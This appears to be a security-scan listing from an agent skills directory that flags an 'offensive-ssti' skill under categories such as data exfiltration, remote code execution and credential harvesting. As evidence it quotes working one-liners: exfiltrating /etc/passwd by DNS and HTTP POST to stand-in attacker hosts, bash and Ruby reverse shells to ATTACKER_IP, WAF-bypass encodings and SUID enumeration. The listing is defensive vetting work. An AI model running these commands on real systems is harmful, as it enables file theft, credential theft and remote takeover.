The Agent Skills Directory

[DATA_EXFILTRATION]: The skill provides functional payloads for exfiltrating sensitive system files to external attacker-controlled servers using HTTP POST and DNS tunneling.\n
Evidence: cat /etc/passwd | base64 -w0 | cut -c1-60 | xargs -I{} nslookup {}.UNIQUE.oastify.com\n
Evidence: curl -X POST -d @/etc/passwd http://ATTACKER/exfil\n- [REMOTE_CODE_EXECUTION]: Provides numerous methods to achieve remote code execution (RCE) across multiple template engines, including the establishment of interactive reverse shells.\n
Evidence: bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"\n
Evidence: TCPSocket.open("ATTACKER_IP",4444).to_i; exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)\n- [COMMAND_EXECUTION]: Frequently utilizes dangerous shell execution functions to interact with the host operating system through template engine features.\n
Evidence: os.popen, system(), execSync(), and ProcessBuilder.\n- [CREDENTIALS_UNSAFE]: Specifically targets sensitive credential files, private keys, and environment variables for harvesting.\n
Evidence: Payloads targeting ~/.ssh/id_rsa, ~/.aws/credentials, SQLAlchemy_DATABASE_URI, and secret_key_base.\n- [OBFUSCATION]: Documents techniques to bypass Web Application Firewalls (WAFs) and filters using hex encoding, octal encoding, and character construction to hide malicious directives.\n
Evidence: Use of \x5f\x5fclass\x5f\x5f, \137\137class\137\137, and chr(95) to build restricted strings.\n- [PRIVILEGE_ESCALATION]: Includes post-exploitation commands for identifying privilege escalation vectors on the host system.\n
Evidence: Use of sudo -l and find / -perm -4000 for SUID enumeration.\n- [DYNAMIC_EXECUTION]: Exploits the dynamic evaluation of template strings to execute arbitrary code within the server's runtime environment.\n
Evidence: Use of eval(), exec(), and registerUndefinedFilterCallback to hijack application logic.\n- [INDIRECT_PROMPT_INJECTION]: The skill documents an attack surface where untrusted data is interpolated into template rendering functions without sanitization, leading to critical impacts.\n
Ingestion points: URL parameters, POST bodies, JSON values, and HTTP headers (SKILL.md).\n
Capability inventory: Remote command execution, sensitive file read/write, and network operations.\n
Boundary markers: Absent.\n
Sanitization: Absent.

offensive-ssti